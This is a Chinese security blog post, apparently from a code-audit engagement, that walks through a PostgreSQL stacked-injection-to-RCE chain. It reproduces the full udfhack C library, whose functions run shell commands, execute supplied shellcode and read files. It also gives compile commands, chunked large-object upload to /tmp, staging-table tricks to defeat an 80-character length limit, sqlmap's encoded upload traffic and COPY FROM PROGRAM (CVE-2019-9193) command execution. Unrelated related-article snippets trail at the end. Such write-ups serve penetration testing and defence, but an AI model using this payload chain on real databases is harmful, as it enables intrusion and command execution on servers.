记一次Postgresql从堆叠注入到RCE
本次研究过程来自一次某cms的代码审计实战,整个环境部署的相对较好,postgresql、web权限都有单独的用户管理,web目录不可写、服务器不能出网等限制。不过比较幸运的是所有的数据操作都是用同一个superuser权限的postgresql用户来执行的。
限制
审计发现某处存在postgresql堆叠注入,发现postgresql版本为9.2,不过有80个字符的长度限制。尝试使用sqlmap直接打失败,也是长度限制的原因。
udfhack
找了一下参考资料发现JF写的还不错:
https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/
postgresql从8.3开始支持多种编程语言扩展:PostgreSQL: Documentation: 8.3: Procedural Languages
select * from pg_language;
可查看当前支持的语言,如果是python之类的可以很轻松的用udf提权,参考:Hacking PostgreSQL | WooYun知识库
比如postgresql支持plpython,则创建一个恶意函数:
#!sql
CREATE FUNCTION system (a text)RETURNS text
AS $$import osreturn os.popen(a).read()
$$ LANGUAGE plpython2u;
然后select system('ls -la');
即可。
当然了一般来说postgresql默认只支持C,所以要自己传一个编译好的so库去创建可执行命令函数。
源码可以用:https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c
默认是定义了一个sys_eval
的函数去命令执行。为了减少长度,我这里改成s
.
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>#include <ctype.h>#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endifchar *text_ptr_to_char_ptr(text *arg)
{char *retVal;int arg_size = VARSIZE(arg) - VARHDRSZ;retVal = (char *)malloc(arg_size + 1);memcpy(retVal, VARDATA(arg), arg_size);retVal[arg_size] = '\0';return retVal;
}text *chr_ptr_to_text_ptr(char *arg)
{text *retVal;retVal = (text *)malloc(VARHDRSZ + strlen(arg));
#ifdef SET_VARSIZESET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
#elseVARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
#endifmemcpy(VARDATA(retVal), arg, strlen(arg));return retVal;
}PG_FUNCTION_INFO_V1(sys_exec);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);int32 result = 0;char *command;command = text_ptr_to_char_ptr(argv0);/*Only if you want to logelog(NOTICE, "Command execution: %s", command);*/result = system(command);free(command);PG_FREE_IF_COPY(argv0, 0);PG_RETURN_INT32(result);
}PG_FUNCTION_INFO_V1(s);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum s(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum s(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);text *result_text;char *command;char *result;FILE *pipe;char *line;int32 outlen, linelen;command = text_ptr_to_char_ptr(argv0);/*Only if you want to logelog(NOTICE, "Command evaluated: %s", command);*/line = (char *)malloc(1024);result = (char *)malloc(1);outlen = 0;result[0] = (char)0;pipe = popen(command, "r");while (fgets(line, sizeof(line), pipe) != NULL) {linelen = strlen(line);result = (char *)realloc(result, outlen + linelen);strncpy(result + outlen, line, linelen);outlen = outlen + linelen;}pclose(pipe);if (*result) {result[outlen-1] = 0x00;}result_text = chr_ptr_to_text_ptr(result);PG_RETURN_POINTER(result_text);
}PG_FUNCTION_INFO_V1(sys_bineval);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);int32 argv0_size;size_t len;#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)int pID;char *code;
#elseint *addr;size_t page_size;pid_t pID;
#endifargv0_size = VARSIZE(argv0) - VARHDRSZ;len = (size_t)argv0_size;#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)// allocate a +rwx memory pagecode = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);strncpy(code, VARDATA(argv0), len);WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#elsepID = fork();if(pID<0)PG_RETURN_INT32(1);if(pID==0){page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page sizepage_size = (len+page_size) & ~(page_size); // align to page boundary// mmap an rwx memory pageaddr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);if (addr == MAP_FAILED)PG_RETURN_INT32(1);strncpy((char *)addr, VARDATA(argv0), len);((void (*)(void))addr)();}if(pID>0)waitpid(pID, 0, WNOHANG);
#endifPG_RETURN_INT32(0);
}#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{__try{__asm{mov eax, [lpParameter]call eax}}__except(EXCEPTION_EXECUTE_HANDLER){}return 0;
}
#endif#undef fopenPG_FUNCTION_INFO_V1(sys_fileread);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);text *result_text;int32 len;int32 i, j;char *filename;char *result;char *buffer;char table[] = "0123456789ABCDEF";FILE *file;filename = text_ptr_to_char_ptr(argv0);file = fopen(filename, "rb");if (!file){PG_RETURN_NULL();}fseek(file, 0, SEEK_END);len = ftell(file);fseek(file, 0, SEEK_SET);buffer=(char *)malloc(len + 1);if (!buffer){fclose(file);PG_RETURN_NULL();}fread(buffer, len, 1, file);fclose(file);result = (char *)malloc(2*len + 1);for (i=0, j=0; i<len; i++){result[j++] = table[(buffer[i] >> 4) & 0x0f];result[j++] = table[ buffer[i] & 0x0f];}result[j] = '\0';result_text = chr_ptr_to_text_ptr(result);free(result);free(buffer);free(filename);PG_RETURN_POINTER(result_text);
}
然后用本地搭建的环境编译一下:
gcc -Wall -I/usr/include/postgresql/9.2/server -Os -shared s.c -fPIC -o s
bypass
问题又回到了如何bypass80字符长度限制了,先来看看如果没长度限制是怎么弄的:
这里写入是用了大数据对象写入二进制文件,将udf.so文件分割成每2048字节的块(且必须是2048),最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.
SELECT lo_create(9023);尝试创建OID为9023的大对象insert into pg_largeobject values (9023, 0, decode('xxx', 'hex'));//2048字节
insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));/可以不满2048字节,因为不满的会补0,elf文件末尾补0不影响正常运行SELECT lo_export(9023, '/tmp/testeval.so');//将对象导出文件
SELECT lo_unlink(9023);//删除对象
首先创建一个OID作为写入的对象,然后通过0,1,2,3…分片上传但是对象都为9023最后导出到/tmp目录下,收尾删除OID。
然后导入自定义的恶意函数执行命令:
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('id');drop function sys_eval;
一步一步来,首先是二进制文件写入时,除去最后一个块的长度可以稍微小点其他的都需要想办法压缩,这里我想到的是可以先存在表里面,然后在写入的时候在select取出来,这样的话长度是完全够的。
比如:
SELECT lo_create(9);//创建对象CREATE TABLE a(i serial PRIMARY KEY,c text);
CREATE TABLE b(i int primary key,c text[]);
//先建立两个临时表INSERT INTO a(i,c) VALUES ({cnt},'{data}');
//每次往临时表a里写入16个的长度二进制字符串INSERT INTO b VALUES (1,(SELECT array_to_string(array_agg(c order by i) from a),''));
//将字符串聚合起来写入临时表b中INSERT INTO pg_largeobject VALUES (9,{chunk_cnt},decode((SELECT c FROM b),'hex'))
//按次序hex解码写入对象。//每2048字节写入一次对象,然后重新开始。SELECT lo_export(9, '/tmp/s');//写入文件到/tmp目录SELECT lo_unlink(9);//删除对象
然后是创建函数这:
>>> len("CREATE OR REPLACE FUNCTION s(text) RETURNS text AS '/tmp/s', 's' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;")
137
翻了一下文档,其实很多多余的可以直接去掉,直接压缩成:
>>> len("CREATE FUNCTION s(text) RETURNS text AS '/tmp/s','s' LANGUAGE C")
63
然后创建language c这种扩展函数必须得superuser权限才能创建。
成功命令执行。
SELECT s('touch /tmp/yuligesec');
sqlmap的思路
上面有说到过通过研究发现sqlmap是不能直接跑的,但是他的思路却是没啥问题可以直接用,大致和我的想法类似。来看看他的流量:
CREATE TABLE sqlmapfile(data text);
SELECT lo_unlink(8394);
SELECT lo_create(8394);
DELETE FROM pg_largeobject WHERE loid=8394--
INSERT INTO sqlmapfile(data) VALUES ((CHR(102)||CHR(48)||CHR(86)||CHR(77)||CHR(82)||CHR(103)||CHR(73)||CHR(66)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(77)||CHR(65)||CHR(80)||CHR(103)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(48)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(79)||CHR(65)||CHR(65)||CHR(71)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(70)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(74)||CHR(66)||CHR(85)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(107)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(89)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(111)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(103)||CHR(86)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(68)||CHR(103)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(79)||CHR(103)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(86)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)));UPDATE sqlmapfile SET data=data||(CHR(81)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(70)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(78)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(85)||CHR(79)||CHR(86)||CHR(48)||CHR(90)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(115)||CHR(69)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(119)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(114)||CHR(66)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(115)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(71)||CHR(119)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(82)||CHR(53)||CHR(88)||CHR(82)||CHR(107)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65));
...
INSERT INTO pg_largeobject VALUES (8394, 2, DECODE((SELECT data FROM sqlmapfile), (CHR(98)||CHR(97)||CHR(115)||CHR(101)||CHR(54)||CHR(52))));
...
SELECT lo_export(8394, (CHR(47)||CHR(116)||CHR(109)||CHR(112)||CHR(47)||CHR(108)||CHR(105)||CHR(98)||CHR(115)||CHR(109)||CHR(112)||CHR(121)||CHR(106)||CHR(46)||CHR(115)||CHR(111)));;
很明显看出来是使用了||
来做一个字符串加的作用,然后也是用的base64编码传入再解码,然后写入的地址是/tmp/libsmpyj.so
,lib+5随机字符.so的形式。
按照这个思路其实bypass没啥问题,只不过需要调整一下每次payload的字符长度,再加上又使用的base64,大大增加了写入文件的请求次数。
rwctf2021-DBaaSadge
比赛的时候刚好在做项目,没空看题,当时看到这个题就感觉和上述做的东西很像,后来看了一下dockerfile发现其实不一样,而且除了最后一步执行命令处,前期基本上毫无非预期,都是需要先爆破密码提升到superuser,然后再命令执行。
参考:https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/
这个题是使用了mysql_fdw这个插件然后可以外连mysql,再从外部的mysql导入需要执行的语句从而bypass掉payload长度。
然后又翻到:https://medium.com/bugbountywriteup/dbaasadge-writeup-61ebcdbe4357
PostgreSQL: Documentation: 10: COPY
如果postgresql版本在9.3以上的话可以直接用copy program
去执行命令,也就是CVE-2019-9193:
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
postgres=# CREATE TABLE cmd_table (dm_output text);
CREATE TABLE
postgres=# COPY cmd_table FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_table;
dm_output
------------------------------------------------------------------------
uid=101(postgres) gid=103(postgres) groups=103(postgres),102(ssl-cert)
(1 row)
开头有说过web目录不可写且不出网(静态文件也不可写),命令执行也没回显,后来解决是代码审计发现某个地方的验证码是从数据库某特定字段里面取的,所以只需要将命令执行的结果写入到特定字段到地方,再构造poc访问验证码页面拿到命令执行的结果图片ocr一下即可exp化。
相关文章:
记一次Postgresql从堆叠注入到RCE
本次研究过程来自一次某cms的代码审计实战,整个环境部署的相对较好,postgresql、web权限都有单独的用户管理,web目录不可写、服务器不能出网等限制。不过比较幸运的是所有的数据操作都是用同一个superuser权限的postgresql用户来执行的。 限…...

通用FIFO设计深度8宽度64,verilog仿真,源码和视频
名称:通用FIFO设计深度8宽度64,verilog仿真 软件:Quartus 语言:verilog 本代码为FIFO通用代码,其他深度和位宽可简单修改以下参数得到 reg [63:0] ram [7:0];//RAM。深度8,宽度64 代码功能:…...
尝试进行表格处理
꧂ input输入多行文本,3个回车结束꧁ 用input输入如果你想要使用 input 输入多行文本,可以在输入时按照以下方式来终止输入: text while True:line input("请输入文本(按回车继续,按3个回车结束)…...

VueRouter 源码解析
重要函数思维导图 路由注册 在开始之前,推荐大家 clone 一份源码对照着看。因为篇幅较长,函数间的跳转也很多。 使用路由之前,需要调用 Vue.use(VueRouter),这是因为让插件可以使用 Vue export function initUse(Vue: GlobalAP…...
云原生之Docker
docker 初识Docker什么是DockerDocker与虚拟机Docker相关术语及架构镜像和容器DockerHubDocker架构 Docker命令镜像操作命令容器操作命令数据卷命令 自定义镜像镜像结构Dockerfile DockerCompose安装常用命令 初识Docker 什么是Docker docker是一个快速交付应用,运…...
List简介
概念: 数据结构列表(List)是Java中的一种线性数据结构,用于存储有序的元素集合。它允许重复元素,并且每个元素都有一个对应的索引来访问和操作。列表可以动态增长或缩小,并且支持添加、删除和修改操作。 …...
【ArcGIS Pro二次开发】(71):PPT文件操作方法汇总
以下操作都要用到【Microsoft.Office.Interop.PowerPoint】,确保安装并引用。 1、打开PPT文件 // 打开PPT Microsoft.Office.Interop.PowerPoint.Application pptApp new Microsoft.Office.Interop.PowerPoint.Application();Presentation ppt pptApp.Presentati…...
CloudCompare 二次开发(18)——法线空间采样
目录 一、概述二、代码集成三、结果展示一、概述 使用CloudCompare与PCL的混合编程实现点云法线空间采样。法线空间采样的具体计算原理见:PCL 法线空间采样。 二、代码集成 1、mainwindow.h文件public中添加: void doActionNormalSpaceSample(); // 法线空间采样2、mainwi…...

RFCN目标检测算法
...

【学习草稿】bert文本分类
https://github.com/google-research/bert https://github.com/CyberZHG/keras-bert 在 BERT 中,每个单词的嵌入向量由三部分组成: Token 嵌入向量:该向量是 WordPiece 分词算法得到的子单词 ID 对应的嵌入向量。 Segment 嵌入向量&#x…...
华为OD 食堂供餐(100分)【java】A卷+B卷
华为OD统一考试A卷+B卷 新题库说明 你收到的链接上面会标注A卷还是B卷。目前大部分收到的都是B卷。 B卷对应20022部分考题以及新出的题目,A卷对应的是新出的题目。 我将持续更新最新题目 获取更多免费题目可前往夸克网盘下载,请点击以下链接进入: 我用夸克网盘分享了「华为O…...

Hadoop3教程(二十七):(生产调优篇)HDFS读写压测
文章目录 (146)HDFS压测环境准备(147)HDFS读写压测写压测读压测 参考文献 (146)HDFS压测环境准备 对开发人员来讲,压测这个技能很重要。 假设你刚搭建好一个集群,就可以直接投入生…...

【MyBatis进阶】mybatis-config.xml分析以及try-catch新用法
目录 尝试在mybatis项目中书写增删改查 遇见问题:使用mybaties向数据库中插入数据,idea显示插入成功,但是数据库中并没有数据变化? MyBatis核心配置文件剖析 细节剖析: try-catch新用法 截至目前我的项目存在的问题…...

机器学习终极指南:统计和统计建模03/3 — 第 -3 部分
系列上文:机器学习终极指南:特征工程(02/2) — 第 -2 部分 一、说明 在终极机器学习指南的第三部分中,我们将了解统计建模的基础知识以及如何在 Python 中实现它们,Python 是一种广泛用于数据分析和科学计…...
php获取农历日期节日
代码地址:php获取农历日期节日-遇见你与你分享 <?php $c new DayService(); $today$c->convertSolarToLunar(date(Y),date(m),date(d)); $time "农历".$today[1].$today[2]."日";class DayService {var $MIN_YEAR 1891;var $MAX_YEAR …...
主机重启后k8s kubelet无法自动启动问题解决梳理
1.问题描述 OS Version:CentOS Linux release 7.9.2009 (Core) K8S Version:Kubernetes v1.20.4 K8S安装配置完成后,重启服务器发现,kubelet没有正常启动(systemctl status kubelet) 命令: systemctl status kubelet [root@centos79-3 ~]# systemctl status kubelet ●…...
Hadoop面试题(2)
1.什么是数据倾斜?如何处理数据倾斜? 数据倾斜指的是在分布式计算中,数据在某些节点上不均匀地分布,导致某些节点的负载过重,影响整体计算性能。 处理数据倾斜的方法主要包括以下几种: 增加分区数量&…...

[ Windows-Nginx ]Windows服务器,Tomcat容器部署项目,整合Nginx
一、官网下载Nginx http://nginx.org/en/download.html 稳定版:windows的stable版本 注意:Nginx安装包不要放在中文目录下 二、conf目录下,修改nginx.conf文件 修改Nginx服务端口: 默认端口为80,即外界访问的入口…...

手搭手zabbix5.0监控redis7
Centos7安装配置Redis7 安装redis #安装gcc yum -y install gcc gcc-c #安装net-tools yum -y install net-tools #官网https://redis.io/ cd /opt/ wget http://download.redis.io/releases/redis-7.0.4.tar.gz 解压至/opt/目录下 tar -zxvf redis-7.0.4.tar.gz -C /opt/ #…...
学习笔记02-iview组件使用
学习笔记02-iview组件使用 文章目录 学习笔记02-iview组件使用一、iview 2-Tabs使用 一、iview 2-Tabs使用 官方地址:https://www.iviewui.com/view-ui-plus/component/navigation/tabs 点击tabs页面可以获取当前页面的name信息,并且可以点击后再获取当…...
ssc377d修改flash分区大小
1、flash的分区默认分配16M、 / # df -h Filesystem Size Used Available Use% Mounted on /dev/root 1.9M 1.9M 0 100% / /dev/mtdblock4 3.0M...

基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容
基于 UniApp + WebSocket实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...

大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...

STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...

保姆级教程:在无网络无显卡的Windows电脑的vscode本地部署deepseek
文章目录 1 前言2 部署流程2.1 准备工作2.2 Ollama2.2.1 使用有网络的电脑下载Ollama2.2.2 安装Ollama(有网络的电脑)2.2.3 安装Ollama(无网络的电脑)2.2.4 安装验证2.2.5 修改大模型安装位置2.2.6 下载Deepseek模型 2.3 将deepse…...

Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...

免费数学几何作图web平台
光锐软件免费数学工具,maths,数学制图,数学作图,几何作图,几何,AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...

LabVIEW双光子成像系统技术
双光子成像技术的核心特性 双光子成像通过双低能量光子协同激发机制,展现出显著的技术优势: 深层组织穿透能力:适用于活体组织深度成像 高分辨率观测性能:满足微观结构的精细研究需求 低光毒性特点:减少对样本的损伤…...